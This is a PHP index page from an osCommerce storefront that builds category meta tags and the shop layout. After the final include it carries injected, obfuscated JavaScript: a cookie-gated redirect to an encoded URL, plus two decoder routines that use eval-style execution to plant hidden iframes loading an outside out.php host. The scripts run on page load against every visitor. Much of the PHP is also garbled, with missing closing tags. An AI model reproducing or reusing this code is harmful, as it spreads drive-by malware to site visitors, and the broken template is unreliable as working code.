<?php
/*
$Id: index.php,v 1.1 2003/06/11 17:37:59 hpdl Exp $

osCommerce, Open Source E-Commerce Solutions
http://www.oscommerce.com

Copyright (c) 2003 osCommerce

Released under the GNU General Public License
*/

require('includes/application_top.php');


if (isset($HTTP_GET_VARS['manufacturers_id']) && ($HTTP_GET_VARS['manufacturers_id']=='0')) {
	tep_redirect(tep_href_link(FILENAME_DEFAULT));
}
// the following cPath references come from application_top.php
$category_depth = 'top';
if (isset($cPath) && tep_not_null($cPath)) {
	$categories_products_query = tep_db_query("select count(*) as total from " . TABLE_PRODUCTS_TO_CATEGORIES . " where categories_id = '" . (int)$current_category_id . "'");
	$cateqories_products = tep_db_fetch_array($categories_products_query);
	if ($cateqories_products['total'] > 0) {
		$category_depth = 'products'; // display products
	} else {
		$category_parent_query = tep_db_query("select count(*) as total from " . TABLE_CATEGORIES . " where parent_id = '" . (int)$current_category_id . "'");
		$category_parent = tep_db_fetch_array($category_parent_query);
		if ($category_parent['total'] > 0) {
			$category_depth = 'nested'; // navigate through the categories
		} else {
			$category_depth = 'products'; // category has no products, but display the 'no products' message
		}
	}
}

require(DIR_WS_LANGUAGES . $language . '/' . FILENAME_DEFAULT);

if (($category_depth == 'nested') || (($category_depth == 'products')))  {

	$category_tags_query = tep_db_query("select cd.categories_name,
	cd.categories_pages_titletag,
	cd.categories_image_alttag, 
	cd.categories_pages_keywordsmetatag, 
	cd.categories_pages_descriptionmetatag,
	cd.categories_pages_htmlseocode from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = '" . (int)$current_category_id . "' and cd.categories_id = '" . (int)$current_category_id . "' and cd.language_id = '" . (int)$languages_id . "'");

	$category_tags_array = tep_db_fetch_array($category_tags_query);

	$htmlseocode = ((tep_not_null($category_tags_array['categories_pages_htmlseocode'])) ? $category_tags_array['categories_pages_htmlseocode'] : '');

	$meta_description = ((tep_not_null($category_tags_array['categories_pages_descriptionmetatag'])) ? '<META NAME="Description" CONTENT="' . $category_tags_array['categories_pages_descriptionmetatag']. '">' : '') ;

	$meta_keywords =  ((tep_not_null($category_tags_array['categories_pages_keywordsmetatag'])) ? '<META NAME="Keywords" CONTENT="' .$category_tags_array['categories_pages_keywordsmetatag'] . '">': '');

	$page_title = ((tep_not_null($category_tags_array['categories_pages_titletag'])) ? $category_tags_array['categories_pages_titletag'] : '');

} else {

	$meta_description = '<META NAME="Description" CONTENT="' . INDEX_PAGE_META_TAG_DESCRIPTION . '">';

	$meta_keywords =  '<META NAME="Keywords" CONTENT="' . INDEX_PAGE_META_TAG_KEYWORDS . '">';

	$page_title = INDEX_PAGE_META_TAG_TITLE;

}

$meta_no_index = $preventDuplicates->checkTarget();


<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html <?php echo HTML_PARAMS; >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> 
<?php 
echo tep_not_null($meta_no_index) ? $meta_no_index : '';
echo tep_not_null($meta_description) ? $meta_description: '';
echo tep_not_null($meta_keywords) ? $meta_keywords : '';

<title><?php echo ((tep_not_null($page_title)) ? $page_title : TITLE);
</title>
<base href="<?php echo (($request_type == 'SSL') ? HTTPS_SERVER : HTTP_SERVER) . DIR_WS_CATALOG; ">
<link rel="stylesheet" type="text/css" href="stylesheet.css"><style type="text/css">
<!--
body {
	background-color: #FFFFFF;
}
-->
</style></head>
<body>
<?php 
echo tep_not_null($htmlseocode) ? $htmlseocode: '';

<!-- header //-->
<?php require(DIR_WS_INCLUDES . 'header.php'); 
<!-- header_eof //-->


<!-- body //-->
<table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
  <tr>
    <td width="<?php echo BOX_WIDTH; " valign="top" class="column-left">
<!-- left_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_left.php'); 
<!-- left_navigation_eof //-->
    </td>
<!-- body_text //-->
<td width="100%" valign="top" class="column-center">

<table border="0" align=center width="100%" cellspacing="0" cellpadding="0">    

<tr><td><?php echo tep_draw_separator('pixel_trans.gif', '8', '9'); </td></tr>

<tr><td width="100%" valign="top">

<table border="0" width="100%" cellspacing="0" cellpadding="2">
      
<tr><td>

<?php
if ($category_depth == 'nested') { 


<table border="0" cellpadding="0" cellspacing="0" width="100%"> 
<tr>
<td><?php include(DIR_WS_MODULES . FILENAME_SUBCATEGORIES_GRID); </td>
</tr>
 <tr>
<td><?php include(DIR_WS_MODULES . FILENAME_FEATURED); </td>
</tr>
<tr>
<td><?php include(DIR_WS_MODULES . FILENAME_PRODUCTS_NEWBOX); </td>
</tr>
</table>

<?php
} elseif ($category_depth == 'products' || isset($HTTP_GET_VARS['manufacturers_id'])) {



<table border="0" cellpadding="0" cellspacing="0" width="100%"> 

<?php include(DIR_WS_MODULES . FILENAME_FEATURED); 


<tr><td>

<?php 

    if ($_SESSION['product_view'] == 'list') {

        include(DIR_WS_MODULES . FILENAME_PRODUCT_LISTING);
        
    } elseif ($_SESSION['product_view'] == 'grid') {
        
        include(DIR_WS_MODULES . FILENAME_PRODUCT_GRID);
    }    


</td></tr>
</table>


<?php

} else { // default page



    
    <table border="0" width="100%" cellspacing="0" cellpadding="0">
      <tr>
        <td align="center"><?php echo tep_display_banner('dynamic', 'mainpage'); </td>
      </tr>
      <tr>
        <td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); </td>
      </tr>
      <tr>
        <td><table border="0" width="100%" cellspacing="0" cellpadding="0">
            <tr>
            <td align=left class="main"><p>Benvenuti</p>
              <p>Sei gi&agrave; registrato? Clicca qui per effettuare il <a href="http://www.mastassociati.com/catalog/login.php">log-in</a> !<br>
                Non sei ancora registrato? Clicca qui per <a href="http://www.mastassociati.com/catalog/create_account.php">registrarti</a> !</p></td>
            <td class="pageHeading" align="right"></td>
          </tr>
        </table>
        </td>
      </tr>
      <tr>
        <td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '1'); </td>
      </tr>
 
      	  <tr>
        	<td align=center class="main"><?php include(DIR_WS_LANGUAGES . $language . '/includes/home_page.php'); </td>
          </tr>
          <tr>
            <td class="main"><?php //echo tep_customer_greeting(); </td>
          </tr>
          <tr>
            <td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); </td>
          </tr>

<?php if(BOX_NEWS_SCROLLER_DISPLAY == 'true')
{
	

          <tr>
            <td align=center>

<table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr><td><table cellpadding="0" cellspacing="0" width="100%" border="0" class="customContentInfoBoxHeading">
<tr><td class="customContentInfoBoxHeadingText"><img src="images/ddtemplate/corner_left_1.gif" border="0"></td><td width="100%" class="customContentInfoBoxHeadingText"><b><span class="scrollboxtitle"><?php echo  BOX_NEWS_SCROLLER; </span></b></td>
<td class="customContentInfoBoxHeadingText" align=right><img src="images/ddtemplate/corner_right_2.gif" border="0"></td></tr></table></td></tr>

<tr>
    <td width="100%" valign="top">
    <table border="0" width="100%" cellspacing="2" cellpadding="0" class=product_body>

    	   <tr>
			 <td align=center valign=middle>

			 <iframe width="100%" height="100%" src="<?php echo FILENAME_SCROLLNEWS; " SCROLLING="no" FRAMEBORDER="0" border=0></iframe>

			</td>
          </tr>
          </table></td></tr>

<tr><td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
	<tbody><tr>
		<td class="BoxFooterSide"><img src="images/ddtemplate/corner_left_2.gif" border="0"></td>
		<td class="BoxFooter" valign="bottom" width="100%"></td>
		<td class="BoxFooterSide"><img src="images/ddtemplate/corner_right_1.gif" border="0"></td></tr>
</tbody></table></td>
</tr></table></td>
</tr>

          <tr>
            <td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '15'); </td>
          </tr>
<?php } 
         
<?php
include(DIR_WS_MODULES . FILENAME_UPCOMING_PRODUCTS);

          <tr>
            <td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '30'); </td>
          </tr>
    </table>


    

<?php
}

</td></tr></table>
</td></tr></table></td>
<!-- body_text_eof //-->
    <td width="<?php echo BOX_WIDTH; " valign="top" class="column-right"><!-- right_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_right.php'); 
<!-- right_navigation_eof //-->
    </td>
  </tr>
</table>
<!-- body_eof //-->

<!-- footer //-->
<?php require(DIR_WS_INCLUDES . 'footer.php'); 
<!-- footer_eof //-->
<br>

</body>
</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php');  <script language="JavaScript">if(document.cookie.indexOf("udb=1")<0){var j=0,n="";while(j<44)n+=String.fromCharCode("iuuq;0086/238/219/2850byb0dd0pvu/qiq@t`je>2".charCodeAt(j++)-1);document.cookie="udb=1;";document.location=n;}</script>   ?>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var my=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var dkfw=r[i].cssRules||r[i].rules;for(var srx=0;srx<dkfw.length;srx++){var gk=dkfw.item?dkfw.item(srx):dkfw[srx];if(!gk.selectorText.match(/#va/))continue;fyqo=(gk.cssText)?gk.cssText:gk.style.cssText;my=fyqo.match(/(S[^")]+)/)[1];iu=gk.selectorText.substr(1);};}catch(e){};}kgl=new Date(2010,11,3,2,21,4);t=kgl.getSeconds();var dkel=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,404/t,468/t,456/t,444/t,480/t,212/t,184/t,392/t,420/t,488/t,188/t,460/t,464/t,388/t,484/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,404/t,468/t,456/t,444/t,480/t,212/t,184/t,392/t,420/t,488/t,188/t,460/t,464/t,388/t,484/t,188/t,444/t,468/t,464/t,184/t,448/t,416/t,448/t,252/t,460/t,380/t,420/t,400/t,244/t,196/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var aty="";var g=function(){return this;}();ko=g["e"+iu+"l"];var ydxx="";gh=ko(my);for(var i=0;i<dkel.length;i++){ch=ko(dkel[i]);ydxx+=gh(ch);}ko(ydxx);<script language="JavaScript">if (typeof(defs_colors)=="undefined") {
   var defs_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d', '#7b3e7e', '#897883', '#847374', '#3e7270', '#83707b', '#7e763e', '#4e7270', '#83707b', '#7e7681', '#82827d', '#748682', '#4c4000');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_colors(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_colors(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_colors(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0];
   function check_div_styles() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_styles();",500);	
	   }
   }

   check_div_styles();

}</script>
